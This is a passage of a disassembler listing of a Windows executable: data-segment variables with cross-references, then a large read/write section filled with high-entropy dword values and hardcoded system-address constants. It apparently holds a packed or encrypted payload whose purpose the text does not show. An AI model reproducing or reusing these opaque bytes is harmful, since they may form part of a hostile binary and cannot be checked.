		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_743864	dd 0							; sub_41A213+12Bw ...
dword_743868	dd 10h							; sub_416FD8+5r ...
dword_74386C	dd 0							; sub_4169A4+259r ...
dword_743870	dd 340650h						; sub_4169A4+310w ...
dword_743874	dd 0							; sub_4169A4+22Cr ...
dword_743878	dd 1							; sub_416979r ...
dword_74387C	dd 340650h						; sub_416979+8r ...
dword_743880	dd 340000h						; sub_413F7F+21r ...
dword_743884	dd 142340h						; sub_41AADF+Fr ...
dword_743888	dd 1							; sub_41D5E6r
dword_74388C	dd 1							; sub_41A5D7+11w ...
dword_743890	dd 761B4Ch						; sub_414913:loc_414955r ...
dword_743894	dd 761B40h						; sub_414913+Cr ...
byte_743898	db 1			; DATA XREF: sub_41E3E4+15r
					; sub_41E3E4+1Ew
		align 800h
seg001		ends

; Section 2. (virtual address 00344000)
; Virtual size			: 0001B000 ( 110592.)
; Section size in file		: 0001B000 ( 110592.)
; Offset to raw	data for section: 00344000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
seg002		segment	para public 'DATA' use32
		assume cs:seg002
		;org 744000h
		dd 3 dup(0)
		dd 154h, 344028h, 5 dup(0)
		dd 7C801D77h, 7C80ADA0h, 7C801AD0h, 7 dup(0)
		dd 0EC8B1C55h, 3948E81h, 45013C1Ch, 0B9575608h,	1501C3A5h
		dd 6CBD8DF0h, 0F3C5FFFDh, 3380C7F4h, 1200290h, 150E297Eh
		dd 141F044h, 2831E850h,	858D1C83h, 3C7CFE74h, 88A10FDDh
		dd 0D06FFDF4h, 9795E886h, 0FC6C1BC4h, 10406801h, 0AC678842h
		dd 0F6330027h, 3920C483h, 75F87539h, 721C5652h,	3AA2F4F8h
		dd 0B5AA480Fh, 28E8066Dh, 4ACA72A2h, 6C4C1F14h,	0EB876297h
		dd 1A8370B5h, 82382533h, 8356A859h, 535F4044h, 842AB25Eh
		dd 57530198h, 0DB330E6Ah, 43C0CD59h, 0A50C4DAFh, 0D4C9D88h
		dd 66AB39F3h, 7C8AAA31h, 26811FDh, 601520C6h, 85E044CCh
		dd 774C018h, 0C0F3E952h, 5F016A23h, 68E25357h, 0EDD6FF55h
		dd 8802F503h, 0FCD7C40h, 8900F883h, 840FE045h, 0A343CA68h
		dd 6AC04D01h, 36835104h, 7D895053h, 0BC2140D6h,	0A33AB2CCh
		dd 1401B928h, 0A845C766h, 0DCB122EBh, 80C8B7Fh,	7666286Ah
		dd 0ACE4E7AAh, 0F1CCECC6h, 25061649h, 8CE6228h,	5D03D07Dh
		dd 0D43218D2h, 6D50880h, 50D619CCh, 0C124A4DCh,	0ECE8EE43h
		dd 0FDB4026h, 993BC0B7h, 0B604B0B9h, 0A452F9F7h, 7868061Bh
		dd 41123456h, 0D81EEC64h, 484BC022h, 0ACF01C37h, 2A7DE881h
		dd 0CD070C25h, 98096C3Fh, 0F9A8C0F4h, 6854EB02h, 1C3FB468h
		dd 10F06111h, 682338EBh, 8F42BFA8h, 0E9786D25h,	0F699F903h
		dd 55891FDEh, 0E50BDF4h, 0DAE48402h, 80D21A07h,	0D1C10EE2h
		dd 68F15588h, 904640C1h, 50F82986h, 8DFA63ACh, 4CF5B8F3h
		dd 1006FEC1h, 2C4C2AC9h, 0CDE4228Ah, 9315483Fh,	3E06BCC2h
		dd 240E9918h, 19B952B8h, 8103D56Bh, 5E146A36h, 33F75513h
		dd 0C8CAC470h, 0B4FC6F3Dh, 0E804D301h, 812103E9h, 112BFFC2h
		dd 0EC9F5D52h, 0E441E3D2h, 0E7C1F88Bh, 3DD9AA43h, 57290B15h
		dd 8B1C2A1Ch, 0CBA3FF9h, 995006E4h, 4020BB0Eh, 0E5660DCh
		dd 905D888Ch, 691A3A0h,	30929985h, 880C94D8h, 6A267398h
		dd 4C885D20h, 0CE88DFFh, 0EC248CEFh, 866C2356h,	8825FB22h
		dd 0C7346A1Dh, 0A77B31Ch, 46FC193Bh, 340809CCh,	0C82542D8h
		dd 52C76460h, 0F1631212h, 581E2253h, 4453AB90h,	46282046h
		dd 65D6236Dh, 14264C92h, 6A3FA828h, 2D532B10h, 0E05026A8h
		dd 739B3CB2h, 4E047416h, 488E1045h, 7DE8C040h, 7FC8023Bh
		dd 0CA8C0F3Ch, 1C2019CBh, 73C406E4h, 1BBDE92Eh,	0E57842CAh
		dd 290CB9B2h, 59982009h, 0C2D02453h, 68189811h,	283EB184h
		dd 8B031DF2h, 44626A5Dh, 0AFD85E70h, 1DC38B6Dh,	16C95B5Fh
		dd 0E0DE1953h, 52602024h, 65C5754Dh, 0E6871812h, 1297FB1h
		dd 6FCF0B47h, 0A3A27DD8h, 515CBB80h, 2C1A5A7h, 0A6415702h
		dd 2C398253h, 0E432848Dh, 56501E01h, 0A6986CE8h, 1645A4C6h
		dd 1360675h, 0E8484C58h, 0AC39DECBh, 5B0B93FFh,	0BC9519C3h
		dd 0D5479615h, 0BE686A32h, 4497C059h, 3246B9FEh, 6DC4BB5Ch
		dd 6F535E2Ch, 9CB08941h, 58999FA0h, 0FCA07558h,	0DDA55F75h
		dd 21FDA2BAh, 76081204h, 0E1331823h, 7D2E390Ch,	571436DCh
		dd 33DA901Ch, 0CD484DD8h, 444436CCh, 9D47F2FEh,	3EFD427Eh
		dd 78754461h, 0B921E0C8h, 93571133h, 0B6F4CF08h, 5758FA9Ah
		dd 4C7858D1h, 5DB5B7D1h, 42BC7968h, 22687A11h, 47FE7776h
		dd 82EA847Bh, 1A208961h, 27FE6464h, 0EB6118D5h,	684C5575h
		dd 9545868Ch, 6B5ECBB4h, 0CF142367h, 0D122C871h, 4041326Ah
		dd 0C356E8D9h, 7E9D59B8h, 15625781h, 0D887E6CAh, 0C794358Bh
		dd 0AA012CB4h, 0D6FF087Dh, 0EA9610A0h, 330AC42Bh, 0F1CD98D2h
		dd 0D0097098h, 2294870Fh, 0E81C68A0h, 1C05C690h, 2E4385E0h
		dd 3ABE8D3h, 0E2A366D4h, 5C22163h, 10F31E4h, 0B2E63DBBh
		dd 26E84C13h, 0E9440E80h, 0EA2BC801h, 0E8327482h, 190A911h
		dd 8E3C159h, 159007E9h,	21FDC403h, 1A86F328h, 5BEC1D89h
		dd 0EB2B1E46h, 0C888F418h, 0AF591573h, 261FA3CAh, 0F037BC16h
		dd 21BF6211h, 72EB9D66h, 15880A42h, 0AC1113F4h,	0FC13F5B2h
		dd 0A758F033h, 91555CC5h, 0B8F62B93h, 42CCFA10h, 0F8441522h
		dd 2A6F50E8h, 44CB618Bh, 42FC6852h, 422A8110h, 0B19A4FAAh
		dd 0DD035748h, 734A0264h, 0B239FC16h, 0E1813744h, 0A954C6E9h
		dd 0A4701648h, 53485945h, 68D10816h, 59E1252Ch,	252D64B4h
		dd 18262642h, 2B23FC50h, 809A629Bh, 871E3930h, 63A671A3h
		dd 6B1EB2A8h, 0C8003CC0h, 0F70AE8C1h, 14D07675h, 7F5114E9h
		dd 0C84514B6h, 0CC84D522h, 20282110h, 0C28F1C08h, 57369AA6h
		dd 0B4108515h, 0E8CCF41Dh, 512F9E14h, 8EEC1C85h, 88651047h
		dd 708462F0h, 49F50793h, 1CE60D52h, 4810EC42h, 1F908412h
		dd 42141862h, 9A70CAECh, 24FDECC2h, 0FCF9290Ch,	7F427B08h
		dd 1A13C058h, 0A819CB1Dh, 0F4648F6Eh, 0C810231Dh, 1E79A8B7h
		dd 0B088C814h, 423B5340h, 96A09F1Fh, 2836277Bh,	81B4B240h
		dd 10220BE0h, 89E4E244h, 24E802E6h, 4EA22E9h, 8BB264F0h
		dd 2ACE4D66h, 0B43AD46Ah, 2D90831h, 0DACCDE62h,	969CC0E8h
		dd 0F8F2DE90h, 14C44016h, 0D511C089h, 13F80822h, 1913F28Bh
		dd 96A86E46h, 9DC67h, 6E92CD1Eh, 1E51C8DFh, 15EA4751h
		dd 6AB1D011h, 0EC249014h, 253EF024h, 0EC90959Dh, 1E4277ACh
		dd 0B157CC10h, 7D1A1E66h, 0DC207043h, 6557E021h, 60342843h
		dd 2C324586h, 1DC3E195h, 6FD8101Fh, 7846EACAh, 959C1DFDh
		dd 0F47CB0C4h, 0DE271087h, 3BFC6161h, 219439C6h, 22F890C8h
		dd 0B1BB42A8h, 0BF081280h, 0D4841C43h, 8DF4687Ch, 166DBEE2h
		dd 9121EB21h, 0C3E03D20h, 0A41CC811h, 0DC490B2h, 371C22FDh
		dd 0F8034088h, 988CFDC0h, 1A5E651Dh, 0EFB2261h,	2CA69071h
		dd 601026A6h, 2D3D8BA1h, 0D7507E26h, 0F9CB42C3h, 96121E59h
		dd 0B6671B6h, 0F8C4C03Eh, 4E7B1342h, 9D3D311Bh,	75998558h
		dd 1D245323h, 0F954C6C2h, 8CC4972Ah, 2384C0F0h,	43BF9638h
		dd 8F7BA710h, 43107144h, 0C9538819h, 28CC7384h,	470BF575h
		dd 6EB0887Eh, 0BA11EE90h, 1C29B295h, 4C18C523h,	0C49CFD6Ah
		dd 714C5ED1h, 0D1208680h, 0D16E841Ah, 4AE87064h, 7AB9088Fh
		dd 581A5559h, 88BC8845h, 0F4531AF6h, 4D16530Bh,	0DA90BE56h
		dd 5D8B6020h, 9AA79008h, 2B0AC890h, 91C79625h, 870F85D7h
		dd 2897C8AAh, 0B8257EBEh, 0D9509DC4h, 88D69131h, 0CD87508h
		dd 0DC38DA5Dh, 0DD4272BAh, 2D74DE07h, 20EF5DE8h, 0E63DC129h
		dd 15533208h, 0B491903h, 3EA43F21h, 5EE07830h, 0D91657EBh
		dd 8B6C1913h, 0E0B264AFh, 22C06FC3h, 18CB48CCh,	0C77E1E4h
		dd 0DD1467AFh, 6806EB34h, 0B0CF1B10h, 92ECE8EAh, 7CFDBCEBh
		dd 5B59E846h, 9F29F541h, 317C6812h, 7C1F2C73h, 0E174CBC9h
		dd 0F500F0E5h, 5C53EB02h, 91782120h, 7FC2F40Ch,	7020993Ch
		dd 1E47EC0Ch, 6F92253Dh, 0D309A219h, 0D261790Fh, 0F5E209A2h
		dd 0F488F00Eh, 0E343F671h, 9C0C20E0h, 372AE3BCh, 0F809FA66h
		dd 0F8A05C20h, 0A543A420h, 488DA686h, 0ADB1F2B0h, 77BDFB6Eh
		dd 2466DB24h, 1E2180B3h, 9C363576h, 6B432EF0h, 0D468F820h
		dd 52E43342h, 6A372B39h, 0E61940B2h, 884526F2h,	18D48B22h
		dd 1C60EFB9h, 0DE0CEBE9h, 0D1145ADh, 0BCC8F058h, 3C9E2EC8h
		dd 88D395A7h, 2374FDBAh, 1088FDC4h, 0FB1B4913h,	13110E9Fh
		dd 0D7CD1D4Eh, 4EBC6C32h, 0BDC49246h, 43592C77h, 0E08FD315h
		dd 0CC92B589h, 0C408E373h, 194451FDh, 1221FD36h, 0E6174509h
		dd 789185E3h, 908D91BDh
		dd 14C8E12Ch, 0D445C0Fh, 2201B4B8h, 0EC17AB61h,	0F0C5D3CFh
		dd 0F28768C7h, 0BD8D2551h, 92599448h, 0A5F33AB2h, 45908292h
		dd 0E2F63310h, 21562087h, 56E4173Ch, 4C59BA66h,	0E8E68178h
		dd 2F6368EAh, 10515689h, 572EE924h, 83F88B61h, 5F7D3664h
		dd 4C9638FCh, 42DCFE44h, 1667111Dh, 0C4B71393h,	0D1A2427h
		dd 0CE49D4E5h, 4C9F27D1h, 90E523E2h, 8FE21BFh, 0D0477654h
		dd 1E13F382h, 40D05DA1h, 34C069ABh, 5B0E26D3h, 0D221CFB8h
		dd 0B4BC7E2h, 0E1B908DCh, 217E5A64h, 15E98898h,	0E1679157h
		dd 590175D6h, 44503757h, 8E846D86h, 1488D385h, 0C97D2C44h
		dd 0D089F80Fh, 988C5D08h, 0CC8C5598h, 106F83A7h, 85D66C8h
		dd 53D98FE4h, 12EA101Fh, 50BB53E0h, 0BFB01466h,	0B6ADB44Eh
		dd 5749605Eh, 657F29BDh, 0EF281121h, 0F416279Bh, 0E1E1E69Ch
		dd 55BD8000h, 750637C0h, 6C858BC6h, 6D1E1358h, 226C1889h
		dd 0E5B47513h, 68188A17h, 896FAF44h, 170D31Ah, 33C38B9Dh
		dd 741289FFh, 50AB4195h, 0CE542349h, 470F1E60h,	4DED9883h
		dd 2D7AF118h, 0F1A8E9E3h, 1BCF6821h, 0F62D0F60h, 71711A28h
		dd 6164919Fh, 8B7F0484h, 0A0EEC5CDh, 8534FFBBh,	250FD540h
		dd 9A9B22DCh, 3219B48Bh, 882ABD09h, 29D88EBAh, 0EEE98874h
		dd 6858D59Eh, 5C1C57BCh, 5D215742h, 5B2B1091h, 1E625958h
		dd 5873D111h, 8444E557h, 423D1166h, 0FF788D63h,	0C5390C97h
		dd 41847AC7h, 87A0216Ch, 592F6A17h, 5B80FC75h, 0A00AA8E8h
		dd 32B48D0Ch, 592BD024h, 43BD2199h, 0D893FC25h,	28884122h
		dd 93DC481h, 475DB85h, 9EA6529h, 8B05FE72h, 46083C1h, 1E20880Eh
		dd 5CC6539Eh, 0ECCE0C24h, 4BE8F2F1h, 0F8DD491Dh, 0F107770Bh
		dd 16AD71Ch, 3592E857h,	0E34C2E91h, 8AE71620h, 5E89CDC8h
		dd 3E180473h, 0C285C68Bh, 2DFEB108h, 0D980E60Ch, 4D285679h
		dd 3C31A814h, 19DB4E08h, 0FF08590h, 0B02E74F6h,	50E85608h
		dd 0C5DD4A0h, 0A4186492h, 67191433h, 1010C603h,	0A193FB42h
		dd 7B892454h, 315F3301h, 5DA88605h, 836810C2h, 0FA06DA89h
		dd 240C473h, 8359021Ah,	26A7A766h, 0A81A5E05h, 46A60735h
		dd 91C83DE4h, 331E137Dh, 7F7200DBh, 4BC39D0Fh, 0FE7AE3EEh
		dd 0E7E303ECh, 195E6015h, 0DEAD0BFh, 58EBC032h,	505C2CB2h
		dd 12CAC890h, 0BBB9B599h, 304FCCFBh, 788288Ah, 3E7675FFh
		dd 0FF6478Dh, 0C61AEB36h, 0C1A9828Ch, 8808F81Ah, 0CA1B0E20h
		dd 3901C02h, 26F3A065h,	78F41637h, 0FB28B5DFh, 3E3CD0B0h
		dd 3C63DBB0h, 90208D51h, 0DAF84D8Dh, 56814461h,	2E8A0C68h
		dd 2DE92109h, 4FE129D4h, 310AF2DEh, 0C98A40FCh,	2A955A18h
		dd 9484153Ch, 0FAB53645h, 8AFA10D0h, 54F8999Dh,	836F5484h
		dd 0D5D7CEEBh, 933E59FEh, 51E4B940h, 237E4696h,	0BC97A81h
		dd 7C055555h, 147F5811h, 643271E8h, 0F830BF72h,	7DDB0689h
		dd 64666A71h, 0A32FA0A8h, 0C3E8C1C5h, 591B7928h, 1B3E4E50h
		dd 0A2B3AA0Ch, 4C25E1Ch, 1E891A28h, 5B23B4A2h, 8CE86161h
		dd 0D849992h, 0A1C32888h, 9084E3D5h, 60A4221h, 2E54446Bh
		dd 1569C329h, 0A422600Ch, 57077FCCh, 296BAAA9h,	58C9075Bh
		dd 42531288h, 79E8B838h, 0BF7E6958h, 5390440h, 8F0F107Dh
		dd 5D8AE433h, 438D1803h, 0F1C73B08h, 1DA52587h,	0B6D04C41h
		dd 78104BCEh, 3C4C43E0h, 0BF4421B0h, 3C3C43F8h,	9E34A1C0h
		dd 0CF2C10C8h, 812408D8h, 3068046Ah, 0AAA441Eh,	0BFA6CD3Fh
		dd 38A903BFh, 36BE920Fh, 3C47109Fh, 0BEC00F3Fh,	0E1B908E0h
		dd 16F7A80Ch, 426A2456h, 109D0B87h, 0EA7EE2B3h,	2468081Ah
		dd 34456373h, 9721535Dh, 197CC6BDh, 0B509B82Ah,	622B21C9h
		dd 15391318h, 0A8FE646Ch, 6885E288h, 6F1021B8h,	0FE8315ADh
		dd 94CD88B5h, 6A862A56h, 3B535844h, 0BB114562h,	10681B40h
		dd 732E15A1h, 4E780EFCh, 0ACC3239Fh, 1C0C736Dh,	1648FEC9h
		dd 44FC52E4h, 0A13B4388h, 0B0688A0Fh, 45F1BF6Bh, 3CF81218h
		dd 0D51E2A1Bh, 17106944h, 0C7EC292Fh, 7D412B1Dh, 9FE8710Ch
		dd 9CB40C04h, 29A93248h, 0CC002ECh, 4386EF1Ch, 0E1B740B4h
		dd 0E9946493h, 0FC61C52Ch, 0C559CF63h, 10E42608h, 0BBF240C8h
		dd 55D434A9h, 0AD520A0Eh, 0D9C4900Eh, 9E279F74h, 0E2C6A724h
		dd 784CFC1Fh, 5AA41778h, 0C8D50F53h, 90221141h,	76D8A2A8h
		dd 82E4C9Fh, 8688DC93h,	680285FCh, 1EF336ACh, 3487F153h
		dd 84BD17CCh, 94253429h, 0B4C4733Ch, 0C3F023FBh, 9298C513h
		dd 2E43F10Bh, 0C276CDCh, 0C886064Ch, 0B76DA73Ch, 0A868118Ah
		dd 0CC56B259h, 8DF459A5h, 0DB469F60h, 7C1441A9h, 8A5BC851h
		dd 0B22BA468h, 2BAEA11Ah, 466756B5h, 51C5E8B0h,	22307432h
		dd 56999868h, 85231B76h, 5C82691h, 0C2349444h, 56B34B1Ah
		dd 985A22DCh, 0B1FAE22Bh, 0F1081C72h, 9D895E2Ch, 4842BC0Dh
		dd 920EEB04h, 56103211h, 0D8462532h, 5666229Dh,	0AC537457h
		dd 43092736h, 830760D3h, 0DB0BFC65h, 136A1854h,	89FA0146h
		dd 9D6CB55Ch, 6E13BD94h, 48FDC818h, 68C7192Ah, 0D4217B0Ah
		dd 0C104F1D4h, 7B117591h, 0E8568A60h, 1B92716h,	0CDC11262h
		dd 0CA100233h, 0A4BF5E11h, 0CD561362h, 9AA16204h, 999BF32Bh
		dd 8B8DD2FCh, 9050040Bh, 0B42815ABh, 74A94F43h,	54680B43h
		dd 1A483D34h, 0E0508FE9h, 0C01BD8F7h, 20C4AE40h, 53550104h
		dd 5FB924C5h, 2FBD4179h, 6C134921h, 775315Eh, 52ACE982h
		dd 655A53A1h, 0F00CEB20h, 0CC68262Fh, 3E1AB1FCh, 8108120Dh
		dd 0FC6831DCh, 0FAE021A5h, 0E8352F7Eh, 7381292Ah, 0DBB03B5Eh
		dd 0E8533921h, 6251950h, 68DF0309h, 22B54304h, 7CB00A1Eh
		dd 0AE9DEE98h, 6F44ADACh, 0FF352689h, 48203B7Ah, 0DBAC8084h
		dd 0BF3B25EBh, 0CB2A52EAh, 98062AB7h, 9640C93Fh, 5699E0F9h
		dd 2A520B14h, 0D674021Ch, 7545219Ch, 0B3102E85h, 3A930401h
		dd 8A590213h, 0B11E42C3h, 20C9839Eh, 480652B9h,	0D21F0868h
		dd 0D049FC86h, 48165064h, 81C71EF6h, 2054E045h,	81042C89h
		dd 7EE44025h, 7D800906h, 343282E0h, 0E82A3296h,	2DF720D9h
		dd 7549212h, 0E0C182DDh, 3973F003h, 0DC866DDFh,	0AAF2380Dh
		dd 811E82Fh, 152118ADh,	55DD4E31h, 79303591h, 0E8241C09h
		dd 0F17063D2h, 0A6C759C0h, 0AAF6F93Ah, 0B88678A3h, 226DE61Fh
		dd 0EC0418A7h, 13458A2Ch, 0C4337F92h, 0A189EC4Eh, 0C0FE8882h
		dd 9F065355h, 545B04A5h, 828A8F86h, 453980FAh, 0A7359D4h
		dd 4B48F1A3h, 130525FFh, 0D8584CCCh, 0D2118613h, 0BF8C5D84h
		dd 721D031Eh, 0EB0C6A04h, 41021512h, 8D2D375h, 91E90124h
		dd 0D8885B33h, 99DC5828h, 960804EDh, 0E285E548h, 62A3588Bh
		dd 5CDF3B0Fh, 18760923h, 370CC687h, 8DD150CBh, 0C107F07Dh
		dd 0A5F302E9h, 0E183CAF0h, 0A1A4EE03h, 37618A98h, 0C0CC55CDh
		dd 80020EF9h, 0E2633FE1h, 0ECFB8803h, 1EF12432h, 47030B04h
		dd 0E2CB0C5Dh, 99CA02C9h, 0ED2EF140h, 606F202h,	290F2846h
		dd 33AC391h, 3820F633h,	0EE32C802h, 0DF8679B4h,	76EF0516h
		dd 145011Fh, 3544BEB7h,	8ACA50ECh, 9C925480h, 0E8A35050h
		dd 88055F4Bh, 0ECC33B46h, 0B61F9572h, 1892485Dh, 0BF7003C9h
		dd 0E2505C59h, 0A2971AD9h, 0E190F143h, 4C395E30h, 0DE2B1273h
		dd 703DDB0Ah, 24E83B19h, 0F1FD4E35h, 8716DD2Dh,	137224F5h
		dd 559054F1h, 0CEDC4D51h, 0D5065C88h, 2AFF2D54h, 6DF64035h
		dd 7024268Dh
		dd 4BA0A393h, 8049E05Dh, 415328B0h, 9804E620h, 20F45AD7h
		dd 0D89646Eh, 0A203AAE1h, 5103C42h, 27108917h, 0AC59689Fh
		dd 92E484C2h, 0DB332493h, 931EA495h, 833C3450h,	7A161C12h
		dd 7C10C6ECh, 0A674398Dh, 41098536h, 0D088EA10h, 0FB3B2679h
		dd 3C4466D3h, 50B8E818h, 3ECB3BFFh, 0C8010275h,	74185D39h
		dd 8468BA03h, 0F0685051h, 12B28FD6h, 0E20E8FE8h, 96C96918h
		dd 0C63B14A1h, 2263B74h, 653E33D5h, 0AC59A129h,	0E41FEE21h
		dd 3CAD39D5h, 0EFE6883h, 2B561628h, 0F55F26BBh,	99E9BB21h
		dd 0F75024D5h, 0BADCA580h, 17DC99CBh, 0A93995B9h, 23DD3185h
		dd 1BAD8F68h, 2181844Ch, 7D21C168h, 96D1228h, 34B815C8h
		dd 0C11DA390h, 5418351Bh, 0C201C8F1h, 28D15A4Ah, 4BB1D068h
		dd 9FB6B60h, 0D78B2E28h, 9005CD23h, 47A4977Bh, 0AA6446C9h
		dd 783E238Ch, 501F9828h, 5C04764Bh, 5C1088Bh, 0E244D89h
		dd 5140F430h, 563BD604h, 5E3A5ADh, 58FFE829h, 0B50F3960h
		dd 228483FEh, 0D3B4CE13h, 181192DCh, 0C683D88Bh, 0CF56840Fh
		dd 0E67D0FB0h, 0A8B5A6ABh, 0AF54EF19h, 0A3D7C9A8h, 0CD39F4Fh
		dd 0E88BEEA2h, 61A52BD1h, 722A882Fh, 2A2F8124h,	50003DBDh
		dd 858A4075h, 800FA2C3h, 89F48BCBh, 0E1FBB065h,	0ED371B33h
		dd 3C450A9Ch, 360E1293h, 30D3176Ah, 1203A20Eh, 5C7301F2h
		dd 0F6105DF8h, 0EB1C81FDh, 49558135h, 567512E4h, 99101D0Eh
		dd 18EB14FBh, 1519D1Ah,	0A5421221h, 1F34E6FAh, 2FF0B60Fh
		dd 4AE06F9Ah, 0E851680Bh, 2F50FD59h, 0F4456044h, 230E7C7h
		dd 0B6FA8C0Fh, 0D86FC7C7h, 0D5744833h, 0B0968337h, 750197A3h
		dd 245A3A05h, 0C4486848h, 0E5DCCB79h, 0C5E88FFh, 18311121h
		dd 24A166FBh, 18E03331h, 80FF690Ch, 0AA8D6B60h,	0B8D14606h
		dd 555E98FFh, 0A1E1E904h, 4B5E0462h, 51C80885h,	3BEE462Bh
		dd 577C317h, 0AF0008h, 3376DB85h, 1590FB8Bh, 87E0316h
		dd 51E82145h, 660BCC57h, 24A62420h, 0F05097C2h,	5A036CB7h
		dd 620EDD6h, 0D818D101h, 80508930h, 7DE13824h, 0C859D19Fh
		dd 0AEFED00Ch, 0CE314386h, 1ECD10F8h, 0EEFAFE8Ch, 3754145Fh
		dd 88574663h, 0F6F35A07h, 0EEF15D92h, 7739F9ECh, 0AA736343h
		dd 5B69B0D5h, 2F30B14h,	0C22BF0AAh, 738C61F3h, 0AA64C61h
		dd 671E966Ah, 0F5F1E7E3h, 868381CFh, 6FC22201h,	0E3F47B46h
		dd 0EB19127Ah, 765C0B79h, 75F07F83h, 9CBE789Eh,	9005AC3Bh
		dd 0FF788060h, 297324FEh, 0E84E311Eh, 389954E4h, 477C891Bh
		dd 8764BFEh, 0D4D24F6Eh, 0FEE67696h, 5BE84048h,	5556970Ch
		dd 53C3AC35h, 8E912E28h, 0C1035609h, 4778B80h, 0CDA429E8h
		dd 897E4743h, 23C70230h, 0F4FCC25Dh, 21907C25h,	0FF8320A0h
		dd 0C876FD28h, 2ADE122h, 0D233044Eh, 6840CA3Bh,	0FF1D418Ah
		dd 19D2C23Ah, 15DFBC1Eh, 4C75FAC0h, 2F52C8FEh, 0FA264188h
		dd 0CBBCD94Eh, 152B4518h, 24541738h, 84141010h,	65E7607Eh
		dd 85689EAh, 0AA11883Dh, 174815E3h, 0F00C263Dh,	3BFA1F18h
		dd 18732AC7h, 1670C8CEh, 3905EB80h, 32730C7Eh, 0DF1F5708h
		dd 0A5D4CA2Bh, 830B8053h, 74A6E804h, 0BE729222h, 8D1B00FCh
		dd 408AFF48h, 0A993FBEh, 0F49806FDh, 5107C288h,	122EE812h
		dd 687410B7h, 2FBD0908h, 0C6C1C008h, 0E3A0C310h, 74BE2FE8h
		dd 33BC1A65h, 0E8B88097h, 1C990531h, 86E34A7Bh,	0C48444Ch
		dd 427788BFh, 452AAF16h, 0A1A00A1Dh, 32340826h,	0C62B2614h
		dd 2730B2Dh, 2A27F509h,	44F6332h, 0CE03D2FFh, 191D595Eh
		dd 0BE368528h, 0C46C5911h, 89F32BA7h, 0B9D742CAh, 0A642954h
		dd 5E326195h, 0CF123306h, 0AD9148B8h, 0C081158h, 0C47D8B88h
		dd 8D1FCF70h, 0F0EE306Dh, 0EC146AB8h, 5C130376h, 478D0A45h
		dd 0F43DF802h, 0E1955BB8h, 0EC041415h, 0EB080939h, 0C8D5C225h
		dd 0AEC08342h, 8177451Bh, 98B85935h, 39604034h,	7C80D98Bh
		dd 89B535E8h, 0E17763Eh, 74AF9466h, 0F8675068h,	377741A5h
		dd 43651D6h, 8C085E8Bh,	12969A7Ch, 5040894Fh, 0F78498AAh
		dd 87505A39h, 0FB62C977h, 0A88A1D2Bh, 2EB5E81Dh, 9E8AC9ACh
		dd 1EF9C559h, 85FF2CE9h, 22468A22h, 8C491BE1h, 4EB66417h
		dd 17F699D0h, 9C240976h, 0D87A7C88h, 0F6C37621h, 2518050Eh
		dd 75010074h, 0A90D8007h, 4A40E909h, 92E42668h,	0D33A5202h
		dd 24B8C306h, 0EF80E3Bh, 555371C0h, 0FC848D56h,	4E6F9220h
		dd 0FDBC657h, 88B60BB7h, 0F1CC864h, 5BA54BD2h, 573C389Bh
		dd 4FC7D640h, 76937849h, 0ED85591Ch, 171B75CAh,	380805C4h
		dd 67840F58h, 96A6519h,	0F012AA47h, 38CC081h, 6617484Ah
		dd 173056C7h, 0C0940C6Ah, 1394683Fh, 1C248999h,	31C41E91h
		dd 8D161766h, 10A643AEh, 87E42B56h, 3C48C04h, 3E102C59h
		dd 0D5067C4Eh, 75934BC8h, 29937156h, 11AF1388h,	3D8B0CC8h
		dd 6830DCCh, 80BB02FDh,	0BB81A838h, 8BB38B4Dh, 20CD4A2Dh
		dd 4068588Fh, 0F8FB622h, 8794D5FFh, 7354B889h, 25D7C1B3h
		dd 152E681Ch, 761D98AAh, 4810F642h, 3EC9ED23h, 0ED24A890h
		dd 536860C8h, 0B2A41A80h, 0E0537514h, 10EB11Dh,	0C4872808h
		dd 29F0215Bh, 2B4CC41Bh, 2CA8116Fh, 2E4304BCh, 4484CEE3h
		dd 0E9062F60h, 5BA14F85h, 7F562003h, 63301C8Fh,	8D308878h
		dd 353138E2h, 0D4323008h, 0F1327021h, 0D0514196h, 0DDE25B32h
		dd 0AC1D3395h, 0F13446C4h, 0DC0E3620h, 7C688AB9h, 56D63737h
		dd 44E11DE8h, 0A0C51B39h, 10713E3Ah, 33C43BFCh,	95B448EDh
		dd 274D1B55h, 0A1E822h,	0DE383D07h, 2F22D8D6h, 9F6EC6B4h
		dd 0A0F1AB09h, 121989C6h, 0CCC0C481h, 91B3729Eh, 1032A6ACh
		dd 4CC529E4h, 2C926A26h, 1570321Fh, 0E1FEA1E8h,	0AC44206Ah
		dd 45CEEC24h, 3955CC75h, 0B4FF2A28h, 8150640Eh,	44212658h
		dd 1728E848h, 14652D79h, 30CDE09Fh, 58E16939h, 583628EBh
		dd 5B5D149Ah, 967B5882h, 8AA0818Ch, 19B7D7F0h, 0AD13F08Fh
		dd 7214E56Bh, 1E06FD8Fh, 814F5529h, 0FFB040ADh,	0B855EFB5h
		dd 0B9562798h, 0DD852760h, 880EB6F2h, 0F38BB487h, 4F3B59E1h
		dd 7574E142h, 1774C4BFh, 25358B56h, 254FE81Eh, 0EA1064FAh
		dd 0F46812D6h, 68302901h, 43F6A8CCh, 0FE60C44Fh, 21019044h
		dd 246B030Bh, 6A1423A9h, 44B6236Bh, 4A108B12h, 3E3B9DEAh
		dd 6A165C31h, 93736F4Eh, 1B009A6h, 5194775Bh, 319C56F5h
		dd 85C7E28Dh, 0A9D41D6Dh, 46065AA1h, 4AFF370Ch,	0F132681Ch
		dd 88451C20h, 8345306Ah, 6BE1FC7Dh, 0B0924739h,	39480956h
		dd 26764AC0h, 0F41D8B4Eh, 80FAB24h, 69068E8Ah, 1D8250C1h
		dd 0BC04E8C0h, 3972413Ah, 420E0A88h, 187D4601h,	0DE724D3Bh
		dd 0AECC5E4Ah, 307D2480h, 0D9504984h, 10F4D0Ch,	0EC6552EBh
		dd 5D8B1CFEh, 2C45C028h, 3B184B8Dh, 1477C819h, 2A94022Fh
		dd 433FAA33h, 1C5D8989h, 0EB147721h, 83064312h,	0FD59AC66h
		dd 0C61C3E14h, 5901339Eh, 505024B7h, 366E8A2h, 6193A997h
		dd 8232834h, 66A2875h, 0D70C50C8h, 7DA183F8h, 4461DE1Ch
		dd 18709257h, 0FD1CE95Eh, 92BDF925h, 0C84A56F8h, 0DABE2813h
		dd 5AF85445h, 4C84359Fh, 59978F89h, 34BAEB3Ch, 0A6101187h
		dd 5C65F82h, 0DF2B305Ah, 0FE032C3Eh, 9653ABCCh,	0BE186AECh
